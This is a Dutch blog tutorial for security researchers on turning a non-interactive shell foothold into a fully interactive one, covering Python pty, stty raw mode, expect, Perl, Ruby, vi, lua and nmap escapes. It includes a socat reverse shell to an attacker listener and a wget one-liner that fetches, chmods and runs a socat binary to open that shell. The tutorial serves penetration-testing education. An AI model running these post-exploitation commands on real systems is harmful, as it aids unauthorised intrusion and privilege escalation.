Upgrading Non-Interactive Shell
Wanneer je als security researcher aan de slag gaat is het altijd een fantastisch moment wanneer je toegang krijgt tot een systeem. Dat moment dat je je voet tussen de deur kunt zetten en een kijkje krijgt in de keuken van āde tegenpartijā. Wanneer je een foothold hebt dan heb je namelijk een gevonden vulnerability kunnen misbruiken. Feit is alleen de kroonjuwelen niet in de hal liggen en dus wil je meer dan je āfootholdā. Je wilt naar binnen en je wilt in de nachtkastjes en onder het bed zoeken. De foothold is namelijk meestal als een ālow privilegedā user (of service). We willen āprivilege escalatieā toepassen waardoor we meer rechten op de machine verkrijgen. Aangezien de foothold ook meestal toegang geeft tot een zogenaamde ānon-interactive shellā is de eerste stap voor privilege escalation meestal het verkrijgen van een āinteractive shellā. Wat dit exact betekend en welke methodes hiervoor gebruikt kunnen worden lees je in deze post.
Om het verschil tussen een interactieve en een niet interactieve shell uit te leggen is het goed om eerst het begrip āttyā toe te lichten. TTY staat voor āTeleTYpewriterā en is een oud begrip dat verder terug dateert dan Linux. Binnen Linux is āttyā echter een commando waarmee de naam getoond/geprint wordt van de terminal welke verbonden is met de āstandard inputā en staat tty voor āTeleTYpe terminalsā. Met het tty commando wordt vaak gekeken om te controleren of het medium waarop de uitvoer plaatsvind een terminal is. Het kan voorkomen dat ānot a ttyā wordt afgedrukt naar āstoutā. In dat geval zal de opdracht afgesloten worden met āexit status 1ā. Dit komt voor bij uitvoering op de achtergrond zoals bij een script. Ook kan āttyā in āsilent modeā worden uitgevoerd waarbij er ook geen output getoond wordt maar er wel wordt afgesloten met een valide exit status code. Zie het als volgt. In Linux is alles een file, ook een terminal. Het āttyā commando toont de naam van het bestand van de terminal:
Een ander TTY commando is āsttyā. stty is een tool welke wordt gebruikt om de invoer- en uitvoerinstellingen voor de communicatie-interface van de terminal in te stellen of uit te lezen. Later in dit artikel kun je lezen hoe we stty gebruiken voor een magische upgrade naar een interactive-shell.
Wanneer je een interactieve shell hebt communiceer je met de shell alsof je achter het toetsenbord en de muis zit. Zowel je standaard input device alsmede de stdout en error streams zijn verbonden met je shell. Een interactieve shell leest commando’s van gebruikersinvoer op een tty terminal. De shell leest onder andere opstartbestanden bij activering, geeft een prompt weer en schakelt standaard taakbeheer in. Wanneer je een interactieve shell hebt kan de computer je vragen om gebruikersinput en deze kun je vervolgens opgeven door deze te typen.
Non-Interactieve shells worden meestal uitgevoerd vanuit een geautomatiseerd proces (scripts / services) en dus kan de computer er niet van uitgaan dat de gebruiker in de gelegenheid is om input te genereren (keyboard input) of dat iemand de uitvoer zal zien. Andere termen voor een non-interactive shell zijn ook wel āSimple Shellā of āDump Shellā.
Wanneer we als security researcher dus een foothold krijgen en we doen dit door b.v. een service te misbruiken dan krijgen we de shell in de context van deze service. Dit zal dus meestal een non-interactive shell zijn. Het nadeel van deze non-interactive shells is dat veel zaken hier niet werken, zaken die ons weerhouden om privilege escalation toe te passen. Omdat een non-interactive shell niet verbonden is met een tty en dus geen input verwacht zal de reverse shell al afsluiten wanneer we op CTRL+C drukken en zal deze crashen als een commando hangt of om gebruikers input vraagt. Een paar van de zaken die dus niet werken in een non-interactive shell zijn:
- Uitvoeren van het āsuā en āsshā commandoās (er wordt input gevraagd)
- Geen toegang tot STDERR (error output)
- Geen interactieve tools zoals text editors (vim)
- Geen auto tab-completion
- Geen job control
- Geen history browsing (met de pijltjestoetsen)
Gelukkig is het mogelijk (afhankelijk van het scenario) om meestal een non-interactive shell te upgraden naar een interactive shell. Een aantal van deze methodes ga ik in deze post doorlopen.
Roep een interactieve shell aan
De aller makkelijkste methode is om te proberen om een interactieve shell te starten. Vaak zal dit niet lukken maar als het wel lukt dan heb je op een makkelijke manier een interactieve shell onder de knoppen. Voor SH en Bash gebruik je de ā-iā flag ofwel de āinteractiveā flag:
/bin/bash -i OF /bin/sh -i |
Je zou ook een interactieve shell aan kunnen roepen met āechoā:
echo 'os.system('/bin/bash')' |
Python
Wanneer Python geĆÆnstalleerd is dan heb je geluk. Je kunt dan Python gebruiken om te upgraden naar een interactive shell. Python zorgt ervoor dat je een pseudo-terminal krijgt waardoor commandoās ādenkenā dat ze uitgevoerd worden vanuit een interactieve terminal. Helaas heeft de pseude-terminal nog wel war nadelen. Zo heb je nog steeds geen toegang tot de STDERR stream, is er geen history browsing, geen tab completion en zal de terminal nog steeds sluiten met CTRL+C maar deze oplossing is wel afdoende voor de meeste privilege escalation taken. Met Python spawnen we de pseudo-terminal als volgt:
python -c 'import pty; pty.spawn("/bin/bash")' |
Wanneer Python3 geĆÆnstalleerd is (naast Python2) kun je uiteraard ook het volgende commando gebruiken:
python3 -c 'import pty; pty.spawn("/bin/bash")' |
NetCat
Op het moment dat je een non-interactive shell met NetCat hebt gemaakt en Python is aanwezig dan kun je deze met een kleine āBashā truc omtoveren tot een interactive-shell. Om deze truc te laten werken gebruiken we een aantal stty opties.
1. Zorg ervoor dat je een pseudo-Bash shell krijgt met Python (zie hierboven).
2. Nu gaan we middels te toetsencombinatie CTRL+Z deze pseudo-shell ābackgroundenā (op de achtergrond zetten).
3. Nu deze shell op de achtergrond staat gaan we de TTY instellingen bekijken van onze eigen shell. Als we deze weten kunnen we laten de settings van onze shell hieraan laten matchen voor de beste ervaring.
echo $TERM stty -a |
Het āecho $TERMā commando retourneert het terminal type van de huidige terminal en het āstty -aā commando retourneert alle instellingen van de terminal communicatie interface. Noteer hiervan de waardes van ārowsā (hoogte) en ācolumnsā (breedte).
4. Nu gaan we āraw typingā instellen en zorgen we ervoor dat de ingevoerde karakters niet verwerkt en geretourneerd worden maar meteen doorgevoerd worden. Let op, wanneer je āraw typingā aanzet zie je niet meer wat je typt (doordat echo disabled is). Je commandoās worden echter wel doorgevoerd.
stty raw -echo |
5. Nu gaan we de shell weer activeren en op de voorgrond zetten. Op dit punt zal de formatting er raar uitzien:
fg |
6. De formatting gaan we corrigeren met het āresetā commando. Dit commando wordt uitgevoerd in de shell.
reset |
7. Om ervoor te zorgen dat het format netjes blijft moeten we de shell de waardes opgeven zoals onze eigen terminal deze ook gebruikt. Dit zijn de waardes die we zojuist genoteerd hebben vanuit het āecho $TERMā en het āstty -aā commando:
export SHELL=bash export TERM=xterm256-color stty rows 30 columns 236 |
Alle commandoās die nu uitgevoerd worden in onze terminal worden doorgevoerd naar de shell waardoor we een volledig interactieve shell krijgen. Dus resume:
CTRL+Z echo $TERM stty -a stty raw -echo fg reset export SHELL=%%% export TERM=%%% stty rows %%% columns %%% |
Expect Language
In zeldzame gevallen kom je nog weleens de āexpect languageā tegen. Expect scripts eindigen op de ā*.expā extensie. Wanneer je dus een script kunt maken en uitvoeren met onderstaande content kun je er op relatief makkelijke manier voor zorgen dat je net als bij Python een pseudo-terminal krijgt en dus feitelijk een halve interactive shell realiseert:
spawn sh
interact |
Wanneer je bovenstaande simpele script opslaat als āintshell.expā dan kun je deze uitvoeren met āexpect intshell.expā.
SoCat
SoCat is een soort āNetCatā maar dan met meer functies. SoCat wordt ook wel gezien als het Zwitserse zakmes op het gebied van networking. Met SoCat kunnen fully interactive shells (TTYās) over een TCP verbinding gemaakt worden. Het is hiervoor wel noodzakelijk dat SoCat op je eigen computer geĆÆnstalleerd is (om een SoCat listener te starten) en op die van āhet slachtofferā. Op je eigen Kali machine start je als volgt een SoCat listener op poort 8888:
socat file:'tty',raw,echo=0 tcp-listen:8888 |
Vervolgens voer je op de doelcomputer het volgende SoCat commando uit om een interactive shell te krijgen (we sturen alle signalen over de verbinding naar de listener):
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.14:8888 |
Wanneer de doelcomputer niet beschikt over SoCat kun je standalone (Docker & Custom-Build) binaries vinden op de volgende GitHub: https://github.com/andrew-d/static-binaries/tree/master/socat. Je kunt ook meteen SoCat uitvoeren vanuit deze repository:
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.14:8888 |
Perl
Net als met Python is het ook mogelijk om via Perl een pseudo terminal te starten wat meestal afdoende is. Ik noem dit voor het gemak maar even de āhalf-interactive-shellā. Wanneer we Perl op het systeem vinden en een Bash of SH tty willen starten dan voeren we het volgende uit:
perl -e 'exec "/bin/sh";' OF v.a. de Perl interpreter: exec "/bin/sh"; OF perl -e 'exec "/bin/bash";' |
Ruby
Wanneer je geen Python en ook geen Perl tegenkomt op het systeem heb je misschien wel Ruby. En ook met Ruby kunnen we een pseudo terminal aanroepen en dat gebeurt op een soort gelijke manier zoals dat ook in Perl gebeurt. Namelijk:
ruby -e 'exec "/bin/sh";' OF v.a. de Ruby interpreter: exec "/bin/sh" |
VI
Vanuit VI (VIM) kunnen OS commandoās aangeroepen worden. Dit is vaak handig wanneer je toegang hebt tot een restricted shell (RBash) waarin VI meer opties heeft dan jij als gebruiker. Om een half-interactive shell te starten gebruik je b.v. het commando (startend met de dubbele punt):
:!bash OF :set shell=/bin/bash:shell OF als ook Python op het systeem aanwezig is: :python import pty;pty.spawn("/bin/bash") |
Overige
Wanneer LUA scripting aanwezig is zou onderstaande methode een oplossing kunnen zijn:
lua: os.execute('/bin/sh') |
En ook NMap kan je een interactieve shell geven:
!sh |
Conclusie
Wanneer je een foothold krijgt op een machine is het vrijwel altijd zinvol (en meestal noodzakelijk) om een goede interactieve shell te verkrijgen. Alleen een interactieve shell helpt je met het escaleren van privileges (volgende post) en zorgt voor gemak (tab completion) en stabiliteit. Bovenstaande methodes zijn de methodes die ik tot nu toe gebruikt heb. Hoewel dit een goede lijst is zijn er nog andere methodes om een stabiele interactieve shell te spawnen. Deze zijn vaak erg afhankelijk van de omgeving en de tools die geĆÆnstalleerd zijn. Wanneer bovenstaande niet mocht werken probeer je gewoon nieuwe methodes te vinden. āThere is always a way for the one who is not afraid to searchā¦ā





